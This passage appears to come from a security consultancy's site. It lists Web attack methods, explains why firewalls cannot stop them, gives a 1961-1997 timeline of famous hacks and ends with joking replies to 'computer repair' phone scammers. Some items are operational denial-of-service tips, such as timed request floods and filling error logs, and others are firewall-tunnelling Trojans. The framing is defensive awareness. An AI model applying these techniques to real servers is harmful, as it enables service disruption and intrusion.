write the address of the requested URL as a fake address in the
gateway server. As it handles the request for you, it can rewrite
each URL in the documents you request to continue routing all
service through the gateway. Arbitrary corruption, denial, and
leakage can be implemented with this technique.
53) Record all user's Web transactions for intelligence.*: If your
computer is in the path between any other server and browser, you
can record all transactions passing through your system and use the
information to determine usage patterns indicative of strategic
planning.
54) Send files that crash readers.*+: Anyone in the network can
potentially introduce a packet into a TCP channel to cause a browser
crash in response to a request.
55) Send files that violate the law by possession.: For example, you
could send credit card numbers to be put into a server for
subsequent use.
56) Send programs that create IP tunnels through firewalls on port
80.*: If people use the Internet to load programs (for example the
real-audio program is loaded over the Internet), it is possible to
introduce a Trojan horse that creates an IP tunnel (similar to an
application gateway used in a firewall) to allow unlimited IP access
between the Internet and internal networks.
57) HTTP pointer loops that cause numerous reads and crash
connections.*+: Since HTTP files can cause automatic browser-side
loading of other HTTP files, it's possible to create an infinite loop of
files that never stop loading information.

58) Implementation inconsistencies that cause illegal URL

requests.*+: Many browsers have implementation errors that
request incorrect URLs (i.e. they have an illegal syntax). These can
cause server crashes, fail to return the proper data, or cause denial
of services.
59) Huge files with very little content over low speed
communications links.*+: It is not unusual to get into conditions
with some browsers where a download cannot be stopped and runs
for a long time.
60) Send 40 requests in 60 seconds: 10 min denial.*+: Many
servers have limits on the numbers of TCP channels that can be
created per unit time. These limits cause temporary denial of
service in order to prevent infinite loops from overrunning server
resources. By sending 40 requests in 60 seconds to may servers,
services can be denied for about 10 minutes. Do this every 10
minutes to make the server unusable.
61) Send error requests and overrun logfile space.*: Most servers
keep error logs in disk areas that are critical to system operation.
By sending a lot of error requests, you can sometimes overrun the
available space, thus causing server crashes.
I made it!
Your Firewall Won't Save You

Most of these attacks are based on the contents of messages sent

to browsers or servers and not on their form. Since content is in the
realm of the application program, firewalls can't realistically be used
to prevent all of these attacks. No current firewall adequately
protects against all content-based threats (and none likely ever
will).
Many Web servers/browsers are within or inside the firewall and can
act as attack springboards for other attacks. This means that
attacks can often be extended from the system under attack to
other systems in the same network.

According to an ASIS survey on industrial espionage, 40% of

attacks come from outsiders acting alone, 20% from insiders acting
in concert with outsiders, and the remaining 40% come from
insiders acting on their own. Since most firewalls only protect
against outsiders breaking in, most of these attacks (and many
more) cannot be prevented if insiders participate.
Firewalls rarely protect against exploiting the server as a launch
site. Servers are almost never properly protected against this sort of
exploitation.
Firewalls rarely prevent denial of services attacks or assure
integrity. When firewall vendors were asked about this in an open
forum, all of those who responded declared that they did not
provide and did not anticipate providing protection against denial of
services attacks.
Firewalls primarily protect bastion-host servers, not browsers or the
PCs they run on. This means that internal PCs can often be attacked
from outside the firewall.
Firewalls primarily protect against low-level attacks. Web attacks
tend to be higher-level.
Self-Defense on the Web

The Web is a high-risk, high-potential-payoff activity. As such, it

deserves proper attention from a standpoint of information
protection. If you try to resolve each of these problems today, you
will likely fail and run out of budget.
As a fundamental principle, I believe that an organizational
approach to protection is necessary in order for protection to be
effective. Detailed lists of potential defenses are simply too large to
put here, and listing them would not help you understand how to
use them properly. In the case of the Web, a prudent course of
action requires a substantial organizational effort and understanding
of the issues and possible solutions.

As a further note, protection on the Web in today's environment will

ultimately involve taking risks as well as avoiding and reducing
them. The real trick will be deciding which risks to take and under
which circumstances.
About The Author

Fred Cohen & Associates

Specializing in Information Protection Since 1977

Bill Wall's list of 195 famous computer exploits
1961.12.00 Caltech hackers hacked the cards at a football game with U of Washington
1971.00.00 John Draper (Cap'n Crunch) uses whistle (blue box) to access Ma Bell
1972.05.00 John Draper arrested for phone fraud
1981.00.00 Mitnick broke into the records of LA Unified School District, Monroe HS
1981.05.30 Mitnick gets into Pac Bell's COSMOS phone center; takes passwords
1982.00.00 Mitnick (Condor) cracks Pacific Telephone system and TRW; destroys data
1982.00.00 414 Gang raided.
1983.00.00 Mitnick arrested for gaining illegal access to the ARPAnet & Pentagon
1984.00.00 Kevin Poulsen (Dark Dante) arrested for breaking into the ARPAnet
1986.00.00 Chaos Computer Club cracks German government computer that had info about
Chernobyl
1986.09.16 hackers break into Stanford Unix computers
1987.07.05 hackers got secret access codes from Sprint
1987.09.18 hacker accesses AT&T computers, stealing $1 million worth of s/w
1987.09.28 hackers from Brooklyn penetrate MILNET
1987.11.23 Chaos Computer Club hacks NASA's SPAN network
1987.12.00 Mitnick sentenced for stealing s/w from SCO

1988.09.00 "Prophet" cracks BellSouth AIMSX computer network

1988.11.02 Internet worm sent out by Robert Morris; overflowed fingerd buffer
1988.11.23 hacker cracks USAF Sperry 1160 computer in San Antonio
1988.12.16 Mitnick cracks MCI DEC network, steals VMS source code and XSafe
1989.06.21 hacker cracks USAF satellite-positioning satellite
1989.07.22 Fry Guy cracks into MacDonald's mainframe; also stole credit cards
1989.10.16 WANK worm attacked SPAN VAX/VMS systems
1990.00.00 Lamprecht (Minor Threat) cracks into warez site; write ToneLoc
1990.03.07 Denver hacker cracks NASA computer at Huntsville and Greenbelt
1990.03.21 hacker cracks Cliff Stoll's computer and adds message
1990.04.00 hackers from Netherlands penetrated DoD sites
1990.10.15 hackers break into British clearing banks
1991.01.00 Lamprecht (Minor Threat) hacks into Southwestern Bell; wrote ToneLoc
1991.03.00 hacker penetrates NASA, NIH, Bureau of Land Mgt, BBN
1991.04.21 Dutch hackers from Eindhoven break into US military computers
1991.06.21 Kevin Poulsen arrested for breaking into Pacific Bell phones
1991.07.00 Justin Petersen (Agent Steal) arrested for breaking into TRW, stealing credit
cards
1991.09.00 Justin Petersen released from prison to help FBI track crackers
1992.00.00 Dallas computer maker discovers planted network sniffer on computer fax
machine
1992.00.00 hackers get root at Eindhoven U of Technology in the Netherlands
1992.00.00 Morty Rosenfeld convicted after hacking into TRW, stealing credit card numbers
1992.02.00 Lamprecht (Minor Threat) steals circuit boards
1992.07.00 Lamprecht is caught attempting to sell stolen microprocessors
1992.11.00 Mitnick cracks into California Dept of Motor Vehicles

1992.12.00 hacker arrested for penetrating NASA, NIH, BBN, etc

1993.00.00 food scientist gained access to General Mills mainframe computers
1993.08.00 Justin Petersen arrested for stealing computer access equipment
1993.10.28 Randal Schwartz uses Crack at Intel to crack passwords
1994.02.00 hacker installs network sniffer and grabbed 100,000 names and passwords
1994.02.00 Texas Racing Commission computer hacked into
1994.02.01 hacker spoofed a Dartmouth professor using email to cancel tests
1994.03.23 hackers broke into Rome Lab, Griffiss AFB from UK; used sniffer
1994.06.13 Citibank hacked by Vladimir Levin; $10 million in illegal transfers
1994.07.14 French student Damien Doligez cracks 40-bit RC4 encryption
1994.07.21 hackers crack into the Pentagon, altering and erasing records
1994.08.00 Justin Petersen electronically steals $150k from Heller Financial
1994.09.00 Netcom's credit card database was on-line an accessible to the unauthorized
1994.10.00 Michael Smyth, a regional manager at Pillsbury, fired due to intercepted email
1994.10.12 computer engineer cracks Marks & Spencer security file containing PIN numbers
1994.11.01 hacker cracks FBI's conference-calling system; made $250,000 in calls
1994.12.00 US Naval Academy computer system hacked; sniffer programs installed
1994.12.00 authors were targets of electronic mail bomb
1994.12.00 CrackBuster issued cancels for every message in alt.2600; flooded groups
1994.12.25 Mitnick cracks into Tsutomu Shimomura's security computers; stole s/w tools
1995.01.00 Chris Lamprecht (Minor Threat) incarcerated for hacking; banned from Internet
1995.01.27 Mitnick cracks into the Well; puts Shimomura's files there and Netcom credit
card numbers
1995.02.15 Mitnick captured; broke into NORAD, PacBell, CA DMV, etc; had 20,000 credit
card numbers
1995.04.00 Journalist David Pogue's AOL account deleted by hackers

1995.04.05 SATAN security tool released to the Internet

1995.05.05 Chris Lamprecht (Minor Threat) becomes 1st person banned from Internet
1995.06.02 hackers using Vanderbilt computers hack Air Force site - caught
1995.07.00 crackers tapped into Navy computer system and gained access to French and
Allied data
1995.07.00 Julio Ardita of Argentina cracked into US military computers, Harvard, NASA
1995.07.25 Randal L Schwartz convicted of hacking under Oregon's Computer Crime Law
1995.07.28 hacker from Calgary freenet uses sendmail attack on gov sites
1995.08.04 hacker cracked NY Times Internet service, bringing it down
1995.08.15 several hackers crack Netscape 40-bit SSL; Damien Doligez used 120
computers
1995.09.11 Golle Cushing (Alpha Bits) arrested for selling credit card and cell phone info
1995.09.16 Berkeley students cracked Tower Records/Video computers; $20,000 charged
1995.09.17 Hackers discover weakness in Netscape random number generator; SSL cracked
1995.10.23 1st court-ordered wiretap on a computer network; at Harvard
1995.11.00 buffer overflow in Netscape Navigator host name made it vulnerable
1995.12.20 NASA Ames Research Center home page hacked
1995.12.28 Julio Ardita arrested in Argentina for hacking into Harvard
1996.01.01 1st court authorized wiretap of an ISP; cell-fraud thru Compuserve
1996.01.15 Swedish computer hacker hacks into 911 phone system in FL
1996.01.22 Chaos taps cleartext transmission of banking information
1996.01.25 Russian pleads guilty of participating in Citibank wire fraud
1996.01.29 Digital Planet's web site for MGM/UA's "Hackers" Site hacked
1996.02.15 Hackers altered UK talking bus stops for use to the blind
1996.02.27 BerkshireNet in MA hacked; data erased and system shut down
1996.03.05 whitehouse.gov flooded with forged email; denial of service

1996.03.06 Boston ISPs hacked by U4ea; deleted Boston Globe web pages
1996.03.17 Telia, Sweden's biggest ISP, home page hacked
1996.04.05 N00gz indicted for computer fraud; accessed Bell, Sprint, SRI
1996.04.19 NYPD voice-mail system hacked
1996.04.27 Cambridge U hacked; confidential files broken into
1996.05.15 Datastream Cowboy from UK arrested for breaking into Rome Labs
1996.06.15 Two UK hackers charged with intruding into Lockheed computers
1996.06.20 14-year old arrested for using fraudulent credit card numbers
1996.06.25 hackers penetrate the public library network of a state
1996.07.05 1st known Excel virus, Laroux
1996.07.09 Ontario group gets into computers at a base in VA
1996.07.10 HS students crack a drink manufacturer's computer voice-mail system
1996.08.00
passwords

Fort

Bragg

soldier compromised

military computer system;

distributed

1996.08.04 US hackers crack computers of the European parliament and commission

1996.08.16 Department of Justice home page hacked at www.usdoj.gov
1996.08.25 American Psychoanalytic Association hacked
1996.08.29 Nation of Islam web page hacked
1996.08.30 British Conservative Party webpage hacked
1996.09.06 hackers shut down PANIX, New York's Public Access Networks; SYN attack
1996.09.17 computer files with names of 4,000 AIDS patients taken in Florida
1996.09.18 CIA home page (www.odci.gov/cia) hacked by 5 Swedish hackers
1996.09.18 Internet Chess Club hit by hacker attack
1996.09.19 hacker cracks Palisades, NJ school system
1996.09.20 cancelbot attacks Usenet; 25,000 messages wiped out

1996.09.25 Kevin Mitnick indicted for damaging computers at USC, stealing s/w
1996.10.05 Wazzu virus released
1996.10.15 disgruntled employee wipes out all computer files at Digital Technologies Group
1996.10.22 hackers crack Czech banks; steal $2 million
1996.10.23 Fort Bragg, NC paratrooper hacked U.S. Army systems and gave passwords to
China
1996.10.25 Florida Supreme Court home page hacked
1996.11.05 hackers attack anti-military site (www.insigniausa.com); erased files
1996.11.08 NY Times web site hit by SYN-flood attack; DoS
1996.11.10 Latin Summer Meeting home page hacked; porno and satire added
1996.11.12 Kriegsman furs web page hacked by animal rights activist; used phf hack
1996.11.17 hackers removed songs from computers at U2's Dublin studio
1996.11.21 Danish Research group get into computers at TX base
1996.11.22 NY city workers falsified computer records in largest tax fraud in NY
1996.11.26 Web site that provided news about Belarus leader was destroyed
1996.11.27 Nethosting and 1500 client home pages hacked
1996.11.29 Disgruntled computer technician brings down Reuters trading net in Hong Kong
1996.12.06 England's Labour Party web site hacked
1996.12.14 hackers attack WebCom, knocking out 3,000 web sites; used SYN-flood
1996.12.16 hackers crack Yale School of Medicine web page with the phf hack
1996.12.16 NASA home page hacked (Goddard); hack has both frames and JavaScript
1996.12.20 6 Danish hackers sentenced for attacking Pentagon computers
1996.12.23 Zhangyi Liu arrested in Dayton for cracking into WPAFB computers; had
passwords
1996.12.29 Air Force home page hacked at DTIC; DefenseLINK shut down
1996.12.30 NASA home page hacked again by StOrM

1997.01.06 Croatians intrude into computers at Anderson AFB, Guam

1997.01.08 hacker crashed California state agency computer - Legal Employment Network
1997.01.13 Crack dot Com hacked; Doom, Quake, Golgotha source code downloaded
1997.01.15 hacker sentenced to prison for reprogramming Taco Bell computers
1997.01.17 Government of Victoria, Australia home page hacked
1997.01.29 phf hack from Belgium to TX base
1997.02.03 hackers spoof Eastern Avionics web page to grab credit card numbers
1997.02.05 German Chaos group uses ActiveX and Quicken to withdraw money
1997.02.07 Planned Parenthood stops use of plannedparenthood.com domain name
1997.02.10 Indonesia's Dept of Foreign Affairs homepage hacked
1997.02.15 AOL Court TV site with news on OJ Simpson trial hacked
1997.03.03 Loran International hit by a denial of service attack
1997.03.05 NASA homepage hacked
1997.03.09 NCAA WWW site hacked; pages changed by 14-year old
1997.03.12 IP floods of SMTP causes DoS at base in VA
1997.03.16 The Well hit by hackers. Passwords stolen, files deleted, trojans planted
1997.03.19 Spammer Cyber Promotions suffers hack attack
1997.04.01 Malaysia's national telecommunications company home page hacked
1997.04.05 NASA web site hacked
1997.04.15 San Antonio's Express News web site server system hacked
1997.04.17 Cyber Promotions broken into, web page altered, password file stolen
1997.04.21 hacker provokes AOL to shut down Klan site
1997.04.26 Amnesty International homepage hacked
1997.04.27 British Conservative Party got hacked

1997.05.23 Carlos Salgado grabs 100,000 credit card numbers from San Diego; used a
sniffer
1997.05.27 The Lost World Jurassic Park homepage hacked
1997.05.29 hacker hit LAPD
1997.06.00 Netcom voice-mail hacked by "Mr Nobody"
1997.06.03 Delaware law enforcement officers get teenager cracking NASA
1997.06.11 USDA site hacked
1997.06.16 pro-spam hacker reported
1997.06.18 hackers in CO crack RSA's 56-bit DES encryption
1997.06.20 hackers caused denial of service to Microsoft's NT IIS web server
1997.06.25 Geocities frontpage got hacked
1997.06.30 hackers cause DoS on Microsoft NT server with header packets
1997.07.11 ESPN and nba.com (starwave) shut down after hacker emails shoppers credit
info
1997.07.14 Danish computer guy finds hole in Netscape; asks for big reward money
1997.07.15 Canadian Security Intelligence Service got hacked
1997.07.18 hackers attack Swedish Crack-a-Mac site
1997.07.18 hackers attack MacInTouch - SYN flood
1997.08.01 Long Island group added a Trojan horse to hijack users' modem
1997.08.08 George Mason Univ students hacked their way into the Univ computers
1997.08.10 Cyper Promotions servers hacked
1997.08.16 Experian (TRW credit bureau) Internet allowed wrong credit reports
1997.08.18 Crack a Mac front page got hacked at hacke.infinit.se
1997.09.01 Altavista homepage got hacked (altavista.com)
1997.09.15 hackers hit coca-cola web site
1997.09.24 lince.com NT server got hakced

1997.09.25 Florida State School of Criminalogy NT server got hacked

1997.09.26 sterlingcorp.com NT server got hacked
1997.09.26 US Geological Survey NT server got hacked
1997.09.27 methodisthealth.com NT server got hacked
1997.09.30 ValueJet homepage got hacked
1997.10.01 hacker spoof SANS Security Digest newsletter; hacks into ClarkNet ISP
1997.10.05 hackers get into www.pentagon-ai.army.mil home page
1997.10.06 hacker breaks into Japan's Nippon Telegraph and Telephone (NTT)
1997.10.14 Yale e-mail account servers hacked; sniffer used
1997.10.19 RSA's RC5 56-bit encryption key cracked by Bovine effort
1997.10.31 Eugene Kashpureff arrested; redirected the NSI web page to his Alternic

Fred Cohen & Associates

Specializing in Information Protection Since 1977

The 50 Ways Series

50 Ways to respond to "Computer
Repair..."
It was a long time ago that I first wrote about deceptions used to gain access to systems
and networks. "Computer repair ..." is the fist step in this scam, followed by any number of
variations.
I had the pleasure of receiving a "Computer Repair" call earlier this week, and it brought me
back. It was likely just someone who had read my book from the early 1990s and wanted to
play, but I responded with one of the harsher approaches below and haven't been called
back. So I figure, for fun or for real, it's time to give you the 50 ways update on how to
respond to "Computer Repair ..." and other similar scams.

Unless otherwise stated, after you say the line, hang up the phone.

1. For computer repair, please call 555-1212.

2. We don't have any computers here. You must be calling the
wrong number.
3. One moment please... [put them on hold and never pick the
line back up]
4. I'm glad you called. Our 360 has been having hardware
problems and IBM has refused to fix it. [engage in
conversation till bored]
5. What took you so long? We called last week! Where are
those computers you said you would send us? [they will likely
hang up]
6. Credit card number please... [keep asking till they provide
one and then go to another answer]
7. Are you that nice boy from down the street? I'm going to
tell your mother on you...
8. Thanks for calling. Do you need my bank account number
first, or my password? [lie from then till they give up]
9. Please don't call this number again or I will call the police
and report you.
10. [Call into the room in an Italian accent] Guido - it's the
mechanic again... about the contract on that guy from that
place... [play the rest of the organized crime game till bored]
11. I'm not supposed to talk to strangers. I'm getting my
mother.
12. Great. Can you come pick up our computers for repair?
[provide them with the address of your local FBI office and tell
them to insist it is work order number 3214897B when they
get there]
13. We only do computer repairs on Wednesday. Please call
back then.
14. Thank God! We are being robbed. Please call 911 and
[hang up not finishing your sentence]
15. Am I on candid camera? Is that Alan Funt? I've always
loved your show... [play it out as long as you like]
16. Didn't I hear your voice on America's most wanted? Are
you that serial killer? I'd love to meet you...
17. It must be really boring doing this all day. Why don't you
come to our scam school and learn how to do it right?

[continue the pitch till they pay and agree to your online
courses]
18. Hello... I can't hear you... You must have a bad line...
19. Is this Walt? Walt? Man, this isn't funny anymore. Just
come over for the game.
20. [in whispered tones] My husband's still home. We'll meet
at the usual place at 4:30 this afternoon.
21. You have no idea of how long I've been waiting for
someone to call. [engage them in an hour long conversation
about how your 2nd husband (may he rest in peace) left you
with plenty of everything but his lost love]
22. Our computers are all beyond repair since that explosion. I
thought you guys were coming tomorrow to do the cleanup?
[await response, complain, get disgruntled, then hang up in a
huff]
23. I'm sorry. That isn't in our telephone answering script and
I am not supposed to vary from the script.
24. Start humming the tune from the Godfather.
25. Just a minute while I turn off the TV. It's hard to hear over
QVC. Now what are you selling and which credit cards do you
take? [give them false credit card information]
26. Oh - you don't want me. You want the frauds department.
That's extension 2311.
27. Did you read "Frauds, Spies, and Lies"? There are far
better scams than this one over the phone.
28. No grab told keep nibble retroactive gremlin frost
beachtree ... [say a bunch of random words - as if it was a
coded response]
29. Confirmation #23441 - please provide response. [wait till a
response then state "invalid response" and hang up]
30. [just hang up]
31. [Interact indicating you have a NetTrack 1573 computer
and it's broken ...]
32. This is computer repair. How can we help you? [keep
telling them this is computer repair and acting confused]
33. I'm glad you called - I lost your FedEx number and couldn't
ship that computer last week. What was the Fed Ex number,
name, address, and phone number again? [Collect it so you
can send them the computer to repair ...]

34. Are you sure you have the right number? This is the
softlight massage parlor and all we have is a cash box.
35. Are you from router repair, switch repair, mainframe
repair, software repair, ... [ ask them more and more
questions to differentiate precisely which repair group you are
from, and then tell them ...] Ah! We don't have any of those at
this site.
36. Thanks for calling. Have you ever read Faulkner? [use
whatever you like and engage them in a conversation about
your favorite book or movie]
37. Praise the lord! [engage them in a religious conversation
and try to convert them to a religion of your choice].
38. Do you believe in God? [try to save them from fraudcallers purgatory]
39. One moment for the psychology department. [place them
on hold forever]
40. One moment... [place them on hold for a few minutes and
repeat]
41. Thank you for calling. Would you please take the following
survey on customer satisfaction? Press 1 for yes. [play like you
are an automated machine asking ever more ridiculous and
personal questions]
42. Sorry, this is the computer destruction department. You
fix-em, we break em.
43. Thank goodness they got rid of the old IT department.
They were terrible. Jan in accounting told me that ... [spend a
while going through office rumor and similar things claiming
that IT is terrible, but be sure to use fictitious names]
44. Is this IBM, Dell, or Amazon calling? [wait for an answer
before hanging up]
45. Great. What's the safety code? [give them 2 tries then tell
them that they are not who they claim to be]
46. Your maintenance password please. [act like you typed it
in and it failed and repeat till 3 tries then hang up]
47. Thank you for calling. How can I help you? [continue to be
polite and answer questions with lies, but never touch a
computer in the process and don't tell them anything real. Act
like your computer is broken and just doesn't work. No matter

what they tell you to try, just tell them the screen went black
and nothing is on it now.]
48. Are you from Comcast? You people never fix these things
right. When will you be here for your appointment. I've been
waiting for 3 hours. [continue to insist they are from Comcast
(or whatever provider you like) and get them to commit to an
exact time for an appointment - make sure you give them a
bad address]
49. Are you from AT&T? [insist they are your cell providers,
that they need to come anf fix your cell service, and they owe
you for the loss of service last month]
50. I have been trained by reading the "50 ways to respond to
Computer Repair..." article at all.net. So have my friends and
colleagues. Don't bother to call again.

Any of these or many other respoinses are just fine. As long as you don't give them any real
information.